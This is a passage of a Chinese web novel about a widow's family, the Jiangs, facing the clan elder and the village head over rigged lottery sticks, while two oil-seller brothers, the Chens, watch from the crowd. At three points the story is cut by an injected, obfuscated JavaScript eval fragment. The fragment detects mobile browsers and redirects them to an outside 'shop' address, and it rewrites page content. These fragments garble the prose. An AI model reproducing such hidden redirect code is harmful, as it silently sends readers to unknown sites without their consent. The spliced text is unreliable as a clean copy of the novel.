看来这姚献，正是昨日那汤婆子的孙儿无疑了。那老婆子在姜织跟前没占到便宜，回去还不得添油加醋说三道四，此刻姚献还能领着李文远登门，做出这番还算客气有礼的姿态。 而非颐指气使地上门问罪，到底还是读过些书，知道些表面功夫，比那两个老的强。 “今日小子陪同文远前来，实是为文远兄家中私事……”姚献话说一半，略带为难地顿住，意思再明显不过。 赵桂梅还在兴头上，姜季福却又不傻，人家话里话外要关起门来商量家事了，外人还杵在这儿实在不识趣。 他当即起身，示意赵桂梅母女：“族长那头今日还叫我去祠堂商议事，咱们就先走吧。” 赵桂梅这才意犹未尽收了口。恰在此时，外头院门处又传来一道粗声粗气的男声，毫不客气： “林移桃！在家么？族长有请。” 村里头叫人，再不熟络，也会客气地叫声婶儿伯娘，会这样连名带姓直呼的，多半是族长那房的人。 这是姜克从他大儿姜尧生的声音。 坏了！ 姜季福闻声驻足，猛地想起要紧事来。 昨日林移桃一家在祭田不认签文，族长当众发话要将她家分出去单立门户，不料里正当时不在家，才说改日再议。 今早姜尧生托人带话，叫他巳时左右去祠堂商议要事，多半就是说这分户之事。 姜季福脑子一转，顿时为难起来，这边姜织刚救了宝娃，救命的恩情在这，那头族长叫他去，肯定是要拿林移桃家杀鸡儆猴的，这村上村下，哪家敢一而再忤逆族长。 “在不在啊？”外头人又急炸炸喊起来： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040113|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别装死，快着些，里正就要到了，一屋子大人物都等着你家，昨日不还硬气的很么？今日索性一道去祠堂，咱们好好将账算一算。” 林移桃听到这声，哪里还能不明白什么事，当即脸色唰地白了。 怎么就这么巧，这李家人刚进门……这下该如何跟来客解释，林移桃惨白着脸，眼神不自主飘向那两人。 果然，那两人听着外头动静，李文远抬起头来，同姚献对视一眼，两人眼里均是惊疑。 赵桂梅和姜秋华也是一头雾水，当即扬声问：“良生，怎么回事啊？族长要叫你桃婶儿去有什么事？” 姜良生来的路上听人说了一嘴，说是昨晚姜织误打误撞救了姜秋华女儿，没想到姜季福一家还真一点嫌都不避，跑到林移桃家送谢礼来了。 当即脸一拉，语带讥讽：“梅婶儿，擦亮眼睛管好你自家事吧，别是人是鬼都看不清，跟着瞎掺和。” “这孩子怎么说话呢！”赵桂梅本意仗着两家有几分交情，开口回旋两句，哪知道姜良生开口就呛人，丝毫不给她面子，当即也恼怒起来，正欲开口，却被姜季福打断。 “行了行了，少说两句，”姜季福正头痛。 族长姜克从那两个儿子，最是锱铢必较、睚眦必报。就说那姜永贵，小时还算乖巧可爱，如今这幅混不吝的模样，多数是叫姜良生两兄弟给带坏的。 林移桃一家昨日敢在那么多人面前落这两兄弟脸，这回可不像惹了姜永贵那回那样，能轻易了事，依照姜克从父子的性子，林移桃一家只怕凶多吉少，定要被分出去单立门户了。 鬼使神差的，他看了眼姜织。 姜织也正看过来，她神情还算平静，对着姜季福轻声说：“季福叔，能否借一步，到内堂来说句话？” 昨日姜织救那宝娃儿，当真是无心之举，今日姜季福一家如此郑重其事来道谢，是姜织没有料到的。 但此时这境况，来得好不如来得巧，既然能争取姜季福这份助力，又何必去梗着头硬碰硬。 自打姜季福一家进屋起，姜织心里就在飞快权衡对策。她早说过，她不信命，重活这一遭，就是要来改命的。 “卖油咯，卖油咯，香油桐油，收货换油，童叟无欺，”手摇着拨浪鼓哒哒响，清朗敞亮的吆喝声在村头巷尾响起。 挑着货担的两个年轻郎君出现在村道上。 有妇人在井边槌洗衣布，打眼瞧着年轻的走货郎身材魁梧，面相俊朗，嬉嬉笑笑的便问：“哎，卖油郎，你的油价钱几何？能用什么货换呀？” “新榨的小磨香油，一斤五十文，”打头的小郎君屈身将油担子放下，面上气色如常，大气不喘，又道：“若家中有皮毛山货，也可货货相抵，看货论价。” “这么精贵呀，”那妇人洗完衣，收了棒槌，又问：“鸡鸭毛能换吗？” “能是能，”旁边一位略年长些货郎笑着应声：“看成色，换些个针头线脑、绢花耍货可成的。” “那敢情好！我家有，你们同我来。” 妇人家就在前头，回屋后将过年攒下的鸡鸭毛找出来，就着货郎的货箱，在里头挑来挑去。那年长些货郎便闲聊问：“嫂子，今日可瞧见落雁村李家那边的后生来村里呀？” “咦？”那妇人挑了把木篦子，顺嘴就答：“还真有！是不是林移桃家定了亲事那准女婿，今日还真来了，就先前还在问路呢，正好柳婆顺路，领他俩去了。” 妇人又奇道：“你们问这个做什么？” 陈知冬闻言哈的一声，笑说：“我们来瞧热闹！” 24. 难怪人凶 一元复始，万象更新。 朝暾初上，郏县葛西槐树庄下老陈家院里早已喧腾起来。 汉子们呼声喊气地舂打着菜籽油饼，女人们围坐一圈，手里的竹筛沙沙作响，细心筛着乌黑油亮的菜籽。两个半大的娃娃嫌大人干活无趣，捏着过年攒下的小爆竹，躲在墙角偷偷点燃，偶尔噼啪一声炸响，炸得鸭子大鹅噗嗤嗤四处逃，惹起一阵鸡飞狗跳。 陈家大嫂胡木兰抱着簸箕，麻利挑捡着瘪籽坏籽，一边啐骂犯顽的小孩儿，一边不满地念叨陈知春。 “知春知春，我娘家那个表外甥女，要才有才要貌有貌，人又能干，也满意你，你是哪里不如意？” 立春刚过，寒意未消。陈知春兄弟三人着单衣短打，袖子高高挽起，正奋力碾打着菜籽，槌起槌落间，臂上肌肉偾张，额角竟还沁出细密的汗珠。 大嫂抽闲抱怨从耳边过，陈知春一时无暇回应，陈大婶胡木兰发愁着无奈叹口气。 陈家四姑娘陈植荷趁着话头接茬：“三哥，我同你讲的，冬村那个刘家女儿，乖巧可人，十里八乡哪个见了都得夸句好，她家可看重你了，你看得可中意？” 陈知春照样把菜籽捣得砰砰响，仍是没应声。 陈大嫂又道:“小弟，小弟，这两个都不满意？你得说句准话，喜欢哪样的？我也好有话回人家。” “他喜欢哪样的？”看着油盐不进的儿子，陈家大娘刘莲玉忍不住有了火气，憋着恼意，故意刺道:“凡间姑娘这个不好，那个不行，我看他是等着九天仙姑、织女下凡来配他呢，是不是呀？” “哈哈，”陈家二哥陈知冬闻言笑道：“娘，大嫂，这话叫你们说准了，三儿就等着仙姑织女下凡来呢。” “你这混不吝，”陈大娘抄起手边一把笤帚作势要打，没好气骂道：“成天没个正形，带坏了样子，立了夏赶紧将徐家姑娘娶回来。” “昨儿回来还特地跟我打听，那落雁村李家定的是哪家亲？别人家的闲事你关心得紧，怎么不操心操心亲弟弟终身大事？” 一说起这个，陈知冬还真来了精神，眼睛一亮，“娘，你神通广大，问着人没？那李家童生到底和哪家定亲了？” 陈大娘没辙，白了二儿一眼，昨日这兄弟俩趁着收春去山里打野，也不知撞到了什么事，回来兴致勃勃问起那落雁村李家的闲事。 不过她还真有路子打听，槐树庄挨着郏县城里，她常去谷粥桥下那家豆腐摊捡豆腐，摊主吴婆子娘家正是落雁村的，两人偶尔闲扯几句，还算相熟。 不过是句无关紧要的闲话，陈大娘今早去拣豆腐，也就随口问了声。 不想那李童生在落雁村还算个人物，吴婆子一提起这茬，顿时打开了话匣子，唾沫横飞，险些把李家祖宗八辈的底细都给翻腾出来。 说是李童生的阿爷李老汉，早年也读过书识过字，可惜屡考不中，家道渐渐败落。他又吃不得种地耕田的苦，后头就专门卖起了药耗子、黄鼠狼的药。 那药是他自己采的草药配的，时灵时不灵，久了，附近人家都不信了，李老汉只得挎着褡裢，方圆四处村子到处转悠。 有一回路过茶和山，饿得狠了，竟厥倒在人家屋前。 “你这老婆子，我问的是李家那童生定的哪家亲，你怎么扯这天宽海远？说他爷爷干啥，”陈大娘忍不住打断话茬，她一早来拣豆腐，还得回去榨油忙得很，哪里有功夫听这吴婆子数那李家祖宗事。 “你急着回家讨媳妇呢！这不是马上就说到了，”吴婆子笑骂：“那李老汉晕倒的地儿，就是那茶和山的姜老六家，他家灶火里正煨着红薯，姜老六瞧那李老汉人都饿肿了，也是心肠好，就从灶灰里扒了个红薯喂了给他。” “吃了熟红薯，愣是让李老汉回了阳，虽说就一个红薯的恩情，但救了李老汉老命啊，怎么还恩情呢？” “你是说，李老汉干脆就姜老六家结了亲？”这下陈大娘听明白了。 “对咯！”吴婆子一拍大腿：“李老汉的孙子，就是那李文远，当时不过七八岁的年纪，已经开蒙了，李老汉自己教些书文，说是机灵活泼的很，将来指定能有出息。” “那姜老六也说是有个孙女，年纪相仿，碰了巧两家一合计，当场就口头结了娃娃亲！” “不过后头听说，那姜老六的儿子死的早，就留个寡妇，也不知道李老汉家如今还认不认这门亲。这事儿当年村里都传遍了，还笑话李老汉吃了人家红薯搭上个孙子.......” 陈大娘听到这里有了数，也不再听她啰嗦，匆匆告辞回家了。 她内心其实不太认可这种做法，老头子受了别人家的恩情，却要将儿孙的姻亲当成价码，两个娃娃素不相识，还不知道将来要长成什么样，就被家里老的把亲事给定下了，这不是耽误子孙么。 但此时二儿子又问起，陈大娘就口不对心道：“那李家书生，倒是省心听话，据说是李家老汉早年在茶和山受了人家恩，又看孙子机灵将来是个有出息的，就索性和那茶和山的姜老六家定了亲。” “别人家儿孙婚姻事几多省心，不过是老人一句话的事，早知你兄弟二人如此，不如趁你爷在世时，也叫他给你兄弟指派门婚事，也省的现在我费这个心思！” “茶和山的啊？”陈知冬哎一声，了然道：“那姜氏一族，不都说霸道的很。” “可不是，”一直闷头干活的陈老爹接话，他早年走街窜巷卖油，左右旁邑都熟知一二，听到这里也有话说：“那一支姓姜的据说是早年躲兵役，迁在茶和山落了户，茶和山那块儿山深，地却肥，水源还足，好处都占尽了，跟当山大王似的，可不霸道。” “难怪人凶！”陈知冬一点头，冲着弟弟促狭地笑：“三儿，你说是不是？” “今儿还开不开张了？”陈知春终于开口接了句话，声音不高，却让喧腾的院子静了一瞬。 上元节一过，他家生意又要忙碌起来。 陈知春一家弟兄三个，下头一个妹妹陈植荷早就出嫁了。因爹娘勤勉，持家有方，对子女教导也得法，陈家弟兄未分家，却素来父慈子孝、兄友弟恭，在乡邻间颇有美名。 陈老爹早年是卖货郎，后头在城里谷粥桥给人榨油坊做伙计，慢慢积攒了些本钱。娶妻生子后，索性自家做起了榨油、批油的行商买卖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045791|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈家人做生意和气宽厚，城里村里都有老主顾，卖油这门生意有些赚头，加之一家齐心齐力，日子便过得比寻常庄户人家富足些。 “一说你终身大事，就想着往外跑，”陈大娘哪里不知道小儿子脾性，不过是嫌她啰嗦，宁愿出去落个耳根子清净。 “三儿年纪不算大，这事急不来，”陈老爹只得打圆场，吩咐道:“三儿，你去把那坛新榨的头道油搬出来，送到城里西林街赵老爷府上去，赵府管家前几日订了的。” “好。”陈知春应得干脆，撂下木槌，转身钻进屋里。不多时换了身干净行头出来，肩上已然挑好了一副油担。陈知冬见他这架势，连忙跟上：“三儿，等等！送了赵府的油，你还要去哪儿？” “卖油啊，还能去哪儿？”陈知春脚步不停，头也不回地往外走，“都开春了，二哥你还想躲闲？” “你小子！”陈知冬一噎，赶紧也回屋挑了副货郎担，匆匆追了上去，“别以为我不知道你什么心思！” 兄弟二人将油送到城里赵府，交割清楚，便心照不宣地转了方向，朝着茶和山走去。 到了茶和山地界，找位在井边洗衣的妇人问了问，巧了，那落雁村的李童生，今儿个还真来了。 “老三，你说那李童生今日是来问罪的，还是赔罪的？”陈知冬笑道。 “二哥，你昨天不是赌那李家不会来吗？”陈知春目视前方，提醒他。 “谁说的？”陈知冬眼睛一转：“我赌的是李生不会上门，来求那姑娘！人今天上门，说不准就是来兴师问罪的。” “行，”陈知春气定神闲，又挑着担子往村中走：“这回你自己记清楚就好。” “谁还想耍赖不成？”陈知冬嘴硬，“我就不信那童生也这么没出息，也能被那凶丫头照着鼻子骂，哈哈哈，”他想着又乐不可支笑起来。 二人说说笑笑，照着那妇人所指方向，径直往林移桃家中走去。 途中经过姜氏祠堂，却见外面里三层外三层围了不少人，闹哄哄的，陈知冬不由走近几步，仰身往里一瞧，一眼就瞧见了站在祠堂庭外杵着的，那两道熟悉的身影，不正昨日在山道上见过的姜家兄妹。 “三儿，三儿，”陈知冬心底莫名一阵激动急切，赶紧示意弟弟。 却见陈知春早已撂下油篓子，正抱着手臂站得挺直，立在人群外侧，眉头微微蹙起，目光沉沉地看着祠堂庭前。 那兄妹二人旁边还站着几人，一家老小或面容憔悴，或容色焦灼，唯有那丫头瞧着还算沉着。 在她一家身后，还杵着两位着书生打扮的青年，一个面色尴尬，眼神飘忽，另一位眉头微蹙，面容严肃，看着同周遭颇有些格格不入。 陈知冬也趁空放下货担，凑近了小声问：“那李家童生在不在？” “在吧，”陈知春盯着那灰布直裰打扮的书生看了眼。 陈知冬顺着视线看过去，只见那灰衣书生满脸窘迫，双手紧紧攥着衣角，白面皮透着红，脚下长刺挠似的，左挪一步，右撤一步，连头都不敢抬起。 嘿，陈知冬忍不住咧嘴笑，这又是什么热闹？ 25. 怎么敢的 陈知冬扒开挨挨挤挤的人群，垫着脚往里挤，瞧着李童生和他准丈母娘一家站在外庭风口，活像在听候发落。 眼瞅着这架势，跟县衙升堂审案似的，好奇愈甚，顺口对着旁边一黑袄葛巾妇人问道：“大娘，这是怎么啦？” 那妇人正是姜文柳。柳婶儿瞧见这么大个后生，张口就喊自己大娘，内心顿时有些不高兴，又见这后生面生得紧，索性脸一撇，愣没搭理他。 陈知冬碰一鼻子灰，自讨没趣的摸了摸鼻梁。 “这位姐姐，”旁边又一道年轻些的清朗男声响起，客气又亲近：“今日咱们族里是有什么大事吗？” 陈知冬愕然转头，却见自家一惯话少面冷的弟弟小三儿，不知道何时从货担里头抓了几大把香瓜子出来，正笑着分给那妇人一把。 柳婶儿将香瓜子接到手中，脸上顿时多了几分笑意，还是这后生嘴甜识趣。这少年郎面相也俊朗，一双眼睛清澈明亮，眉眼间一股子朗阔气。 人长得俊，说话也中听，比旁边那黑壮汉子不知强多少去。 柳婶儿一边磕起瓜子，一边笑问：“你这后生不是咱们村的吧？瞧着眼生。” “我是葛西槐树庄那边的，我爹之前走货卖油，都叫他陈油三，不知道您耳熟不？” “槐树庄的陈油三？我认识啊！”旁边立时凑了个婆子来接嘴，打量了陈知春两眼：“哟，你是他儿子？” 陈知春顺手也给了那婆子一把瓜子，“正是，婶婶竟然认识我爹？” “认识认识，我闺女嫁在郏县，生几个孩子都是让我去服侍的坐月子，常在你家打油的，和你爹娘熟得很，”许老娘接了瓜子，也高兴地扯起旧来。 “你是葛西槐树庄的啊？我娘家堂妹也嫁在葛西，”又有一个妇人挤过来搭话，陈知春照样分一把瓜子。 不到一刻功夫，陈知春身边就全是“熟人”了。 你一言我一句，叽里呱啦，你家表亲我家堂妹，不是葛西的亲戚，就是在郏县住过，要么七拐八绕祖上都是老陈家一宗的人，真论起来还能说是亲戚呢。 陈知冬在一旁目瞪口呆。 难怪，难怪他爹娘总说弟弟比他更像做买卖的料。这平时闷葫芦气死人有一套的弟弟，哄起人来更有一套！ 还有那香瓜子，是他辛苦挑来没错吧？凭什么这败家的弟弟就这么你一把我一把的分完了，这茶和山的人不是日子过得还成吗，怎么都收了把香瓜子就走不动道了，简直恨不得将家底都掏空说给他弟听。 “那是落雁村的李童生吧，他今日来这儿做什么？”陈知春听这柳婶儿越扯越远，觑了个空赶紧把话题拉回来。 “哦哦，你也认识李童生啊，那是咱们桃婶儿的准女婿，”柳婶儿瓜子磕得咔嚓响，朝里头努努嘴，对着的几人一一数起来。 “你瞧那个高些的女孩儿，叫纭姐儿，就是跟李童生结了亲的。” “旁边那个呢？”陈知春听见自己的声音语气很是寻常。 “旁边那个是她哥哥，叫姜犁，喏，最小的那个，叫姜绪，”柳婶儿收起最后一点瓜子，想留给女儿银花吃，又指着林移桃道：“那是李童生的准丈母娘，桃婶儿。桃婶儿可不容易啊，年纪轻轻守了寡，一个人拉扯四个孩子长大......” “桃婶儿家里四个孩子呀，”陈知春赶紧打住，点点头状若无意地问：“那旁边还有个小姑娘，是叫？” 陈知冬竖着耳朵，听到弟弟这绕了一肚子弯路，终于将憋了半晌的话问到了点子上了。 这柳婶儿十里八乡扯一圈，偏偏就不讲正题，听得他都想开口直白问了，但看弟弟一脸故作平静，陈知冬呵一声。 就看你憋到什么时候。 “桃婶儿一家是不是摊上什么事了啊，你们族里开堂似的，难道是要审她家？”柳婶儿正要介绍姜织，又被陈知冬一句话打岔错开。 陈知冬有样学样，从货担里头翻出压箱底的饴糖，分了块给她。柳婶儿接了糖，又得知这是卖油卖货的两兄弟，此刻见两人都顺眼得很。 “哎，还真是，这事就说来话长了，”柳婶儿叹一口气。 “没事没事，您慢慢说，”陈知冬眼角余风瞥一眼憋得脸青的弟弟，嘴角带笑道。 —— 祠堂正堂，里正赵南舫坐在上首正中。 赵南舫同姜克从年岁相当，面相却要比姜克从显老得多，两颊瘦削凹陷，眼窝深陷，眼周皲裂开几条皱纹，一把乱糟糟半白山羊胡。 族长姜克从陪坐在左首，下首依次坐着几位族老，再往外则是管事姜季福、账房姜田有，族里排得上号能主事说话的，几乎都到齐了。 姜织一家老小站在庭外，等着里头的人商议。 堂内，姜克从正在同赵南舫道明由来，这事还得从年前族里分胙肉说起。 将姜顺时这一家分立出去，原本不过是一句话的事。但姜克从如此慎重，还将里正特地叫来公证，哪怕他不想承认，知内情的也猜得到，还真是忌惮那毛都没长齐的织三丫头。 昨日祭田闹得不欢而散后，姜克从憋着一肚子火回了家。两个儿子更是余怒未消骂骂咧咧，他们娘一问原由，竟又跟那林寡妇家有关？ 姜克从的娘子叫做窦淑仁，祖父是南州大族窦氏的旁支。 窦淑仁听完前因后果，眉头细细皱起，对姜克从道：“不都是小事吗，何故为了些蝇头小利，跟那些破落户计较？” 窦淑仁自诩是大家族出身，哪怕是隔了好几道的旁支，眼见也比一般乡野村妇强得多。 “就说那分肉，你多给她分个一斤半两，面上过得去，谁还有闲话说？”窦淑仁看向丈夫：“再说永贵那孩子，我早就想说了，招猫逗狗的，他爹的口碑都被他祸害完了。 “今日祭田这事，尧生”，她又转向长子：“你千不该万不该当众发那样大脾气，还将签筒扔了，后头捡回来了没？” 姜尧生犹自不服：“我还怕她？那签筒族能掌握族老谁不知道，本身就是商议好的才拿出来走个过场，难道族里什么事儿真靠抽签定夺，那不是早乱了套了。” “这话原也没错，”窦淑仁好声好气：“可抽签本意是要让那些人心服口服。姜织这样一闹，戳破了窗户纸，有一就有二，众人嘴上不说，心中却未必服气，往后族里说话，分量只怕要打折扣。” 姜尧生兄弟仍不以为意，窦淑仁严肃了神色：“难道你兄弟读的圣贤书，连个上不得台面的丫头片子都不如？” “连她都知道搬出朝廷颁发的恤孤寡诏令来，再说林移桃，守寡是不是快满十年了，是能县衙挂号的节妇了。” “分肉、派工，这些小事说到外头去，能让大户人家笑掉牙！但那一家分明是光脚的不怕穿鞋的，为这么些针头线脑，叫人家给你扣上顶“欺凌孤寡”的帽子，惹上一身腥臊，谁更不值当？” 姜克从到底也是老江湖，只是族长当久了，冷不丁冒出个刺头，一再按压不下去，才激怒他失了方寸。 听见自家妇人这样一分析，那股燥火渐渐熄了。 回想林寡妇这几回闹腾，就是一家舍得一身剐的破烂货，林寡妇家几条薄命不值钱，拿来糟蹋了族里名声，不划算。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053701|193146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >窦淑仁又说：“不过是几个难缠的刺头罢了，何必非得按压不下，既按不下去，索性摘出去，眼不见为净好了”。 姜克从想通了关窍，就搂着妻子一番好言语，直夸娘子智多星是自己老糊涂了。 眼下，里正赵南舫听罢前因后果，顿时脸一板，须眉微颤，怒道：“那林氏往常看着也算本分知礼，怎料教出的女儿如此刁顽无礼，没规没矩！” 姜克从连忙抬手虚拦，劝解道：“顺时家那丫头，确是牙尖嘴利，但为着这等小事惹你心烦，实在不值当。今日请老兄来，便是做个公证，将此事了结清楚，也省得日后再生事端。” 赵南舫闻言愈发端肃，拂了拂衣袖，朝着外庭扬声道：“林氏，你进来回话。” 姜织在庭外寒风中站了许久，终于听见了里正的招呼，便暗暗抱紧了签筒，跟着她娘进了祠堂正堂。 “林氏，姜族长已同我讲了前因后果，你一家因为抽签不尽人意，几次三番屡生事端，殴打族兄，搅扰族务，是否属实？” “里正老爷，”林移桃一进屋，福了福身，未直接答话，却是未语泪先流，哭哭啼啼喊冤道：“你是青天大老爷，公道在你，你可要为我一家孤儿寡母做主啊！” 这林寡妇一向凶悍示人，但到底一块被风霜磨糙了的美玉。一进来就哭得梨花带雨，悲切万分，把堂上端坐的人都给哭愣了。 姜织在来的路上就她娘通了气。 对付姜永贵那种无赖，就得凶悍对凶悍，叫他知道自家不是任人捏圆搓扁的。 对待族长，那一套却行不通，就像在祭田那处，姜克从那两个儿子，无论是动粗还是骂架，男人嗓门高骂起人来地动山摇，她家都不是对手，就只能暂且忍耐。 而对于姜氏一族利益之外的里正，那就只能示弱，博取同情与公论，方有一线生机。 林移桃到底吃过的盐比女儿吃过的米还多，一点就透。 女人的眼泪不值钱，但若果时机场合对，却能发挥不小作用。 林移桃一家近来总是铁着头跟斗红眼的公鸡似的，不是喊不公就是叫嚷不服，不料里正一来，一个娘老子先开哭，下面几个小的紧接着憋着嘴，你一声里正伯伯，我一句里正老爷，您要为我家做主啊。 一屋子凄凄切切，哭得姜氏族老个个面色泛青。 “林氏！”赵南舫清了清嗓子，语气不觉已放缓了些，“怎么回事，你别哭哭啼啼，好好说”。 “还能怎么说，”林移桃继续啜泣道：“族长将前因后果不是都讲给您听了吗？” 赵南舫方才听罢姜克从陈述，还以为这寡妇一家如何凶蛮好斗，却不想进来这一个个寡母弱儿，尤其林移桃那弱不禁风的小女儿，要说能殴打蛮汉姜永贵，明眼人看着委实牵强了些。 赵南舫一思量，就想起姜永贵正是克从佬儿的亲侄子，话语里难免有偏颇。 祠堂外头可围满了看热闹的人，赵南舫心知肚明，姜氏这一族本就以族长为先，不怎么将他这里正放在眼里，此刻克从佬儿却要借他的杀威棒，威慑不服管教的族人。 “他说归他说的，你方才不是还叫冤吗？”赵南舫皱眉道。 “里正伯伯，你方才也说了，我家是因为抽签不尽人意，”姜织适时开口，索性将签筒拿了出来：“您可知，这抽签就是个由头。” “您看看这签筒，里头设了机关，就是有人诚心让我家不如意！” 屋侧站着的姜尧生两兄弟眼瞧着，登时眼睛都要瞪出来！ 臭丫头片子！她怎么敢的？林寡妇一家是当真不想在茶和山待了是吧？ 26. 甲之砒霜 “怎么回事，怎么还哭上了？” 陈知冬本在靠祠堂入口的位置，靠着香瓜子甜饴糖开道，由柳婶儿带着两兄弟，径直挤到了内堂门槛边。 渐渐同那李童生俩书生只差一肩之距。 “哎！”柳婶儿一路絮叨，这时正同陈知春讲到立春祭田派工，听得陈知冬惊问，顿时一声叹：“她桃婶那大儿手气当真是差，年年都抽的下等签，大概是说起来心里苦。” “公田派工也靠抽签？”陈知春目光还流连在堂内，疑惑道：“怎么不轮流做活，或是按照劳力分派，怎么什么都要抽上一签？” “这你就有所不知了，”说起这个，柳婶儿与有荣焉：“这就是咱们姜氏的规矩，族里的大小事，不是看哪个人说了算，而是全凭天意，公平公正。” 陈知春浓眉一动，“什么是上下签？” “那不是活儿有重有轻嘛，那些没人愿意干的重活累活，不就是下等签，”陈知冬替那柳婶儿答了，这不是废话来着。 柳婶儿连连点头：“对对，对头”。 “都分上下等了，还怎么公平？活儿重就多派些人，活儿轻就少摊几户，难易搭配着做，不就都是差不多的中等签了，这样抽才算公平嘛，”陈知春又道。 “这，这，”柳婶儿一时语塞，舌头打结：“其实也差，差不了多少......总之就是看运气抽的。” “兄台所言差矣！” 蓝袍书生听他们在背后讨论半晌，终于忍不住，插了句嘴：“甲之砒霜，乙之蜜糖。” “比如分肉，有人觉得猪首好吃，有人喜食猪尾，众口难调，如何评判哪块是上肉，哪块是下肉？” “做农活也是如此，同样一亩水田，对于男子来说，认为犁地容易，对于妇人而言，当然是插秧更轻松，这你该如何分辨活计轻重难易？” “因此上等签、下等签的说法，本就是因人而异。” 陈知春看向那蓝袍青年，眼神有些疑问，柳婶儿连忙介绍：“这是落雁村里正家的姚献少爷，同李童生一道来的。” 李文远被点了名，扭头看了陈知春一眼，却没有发表看法。 陈知春听罢笑了笑：“既然分辨不清，想要砒霜还是蜜糖，何不公开让人选？” 姚献闻言，嘴角轻轻一撇：“村务族事，千头万绪，事事都要让村民自己来选，兴师动众不说，人人只想拣那轻省好处，你争我抢，岂不乱成一团麻？姜氏用这抽签之法，已是折中之举，求得一个相对的公道。” “不是说各人有各人的砒霜蜜糖么？”陈知春语气平静，话却接着往下走，“既如此，又怎会人人都去抢同一块蜜糖？再说，这签筒里的签文，上头写的什么活儿，谁定的？是家家户户一起商议出来的，还是族里几位爷叔关起门来敲定了？” 这问题又轮到柳婶儿来答了。 她一时觉得姚书生讲的对，下一刻又听见陈油郎说得在理，两边耳朵在打架，闻言低声道：“这个，这个，是族公他们定好的。” “对呀，”陈知春利落一声：“这签文内容，既然从一开始就只是几个人定的，自然有轻重偏颇，等于把砒霜和蜜糖都混作一道，叫人闭着眼睛抓阄，说不定两边都抓不到想要的。” “兄台这就是强词夺理了！”姚献被他辩出火气来，脸微微热：“既是抽签，那签文分派定是经过族中长辈深思熟虑，权衡再三，定下的相对公平之策，兄台如此揣度，岂不有小人之心之嫌。” “成，就算我小心之人，”祠堂里头那道纤细的背影似在啜泣着控诉什么，陈知春不由得话都轻声不少：“但方才柳婶婶不是也说了，这桃婶儿家年年抽的下等签。” “若只他自家抱怨，许是他家被分到的活计自家不知足觉得难，别人眼里许是轻松得很，姚兄的蜜糖砒霜之说还说的过去。但既然柳婶儿、许大娘、姜大叔......人人都说她家抽的是下等签，可见那活儿是难是易，是好是歹，自见分晓。” “饭团是饭团，狗屎就是狗屎，大家都心知肚明的很，好坏怎么因人而异？” “虽说哪怕是一坨狗屎，也有围着它转的苍蝇，可若真有的选，只怕苍蝇也更乐意落在饭团上吧？。” “噗呲——”柳婶儿忍不住一声笑，周围几个村人都憋着低笑起来。 粗俗不堪！姚献眉头皱起，忍了又忍，还是开了口：“我什么时候不分好歹了！我是说，抽签凭天意，各家运道不同，相对公正而已。” “好，既然姚兄承认了，签分上下等，”陈知春顺着话锋：“这桃婶儿家年年抽到下等签，这也叫公正？难道真是他家祖坟埋得偏，年年时运不济，这天意怎么就专盯着这一家人坑？” “从写签开始，就全凭那几个人说了算，那这竹签怎么摇，怎么抽，最后落到谁手里，”他目光如水，扫过这姜氏祠堂内外一圈，道：“难道就不能也是他们说了算？” 陈知春话说的轻松，却平地一声雷。他与姚献你争我辩间，旁边人都竖起耳朵在听，听得陈知春这样说，一时间议论纷纷。 姚献胸口堵着一口气，正要甩袖说一句：“你既存了偏颇之心，我不与汝强辩”。 正堂里头骤然一声清亮高呼，打断了他的话语。 ——“您看看这签筒，里头设了机关，就是有人诚心让我家不如意！”姜织掷地有声。 那道纤细身形不知何时已停了哭诉，双手此刻高高捧起，一只还粘着泥的暗红签筒，正在她手心。 “你放的什么狗屁！”姜尧生勃然大怒，不料这疯丫头还真敢当众胡言乱语。他三两步跨出来，一掌就将姜织手上的签筒拍落。 “砰！” 那只暗红色的签筒，就这么在众目睽睽之下砸在了地上。 “尧生！”姜克从一声断喝。 “爹，你就任凭这么个疯丫头在这里胡言乱语，这一家在这装疯卖傻，败坏族里名声，”姜尧生脸色铁青，指着姜织怒喝。 “里正伯伯，”姜织被那一巴掌的劲风带的踉跄一下，稳了稳身形，才冲着赵南舫哽咽道：“您亲眼看着的，当着您的面，他就敢这样的做派。您便可知道，往日您瞧不见的地方，他们给我家安的“屡生事端，殴打族兄，搅扰族务”这些罪名，究竟是从何而起了。” “臭丫头！你还敢攀诬，”姜良生跨步上前。 “良生！”姜克从又是一声厉喝，额头青筋凸显。 赵南舫坐不住了，蹭地一下站了起来。他瞧着这当着他面都敢随意打骂族人的姜尧生兄弟，简直傻眼又惊心，片刻后，心里腾地冒起一股火气，这番做派，竟是丝毫没有将他放在眼里。 “克从老弟，”赵南舫看向姜克从，脸上惯常的和气温吞消失得无影无踪，势必要他给个说法。 祠堂内外，一片静穆，众人目光都聚焦在堂上这几人身上。 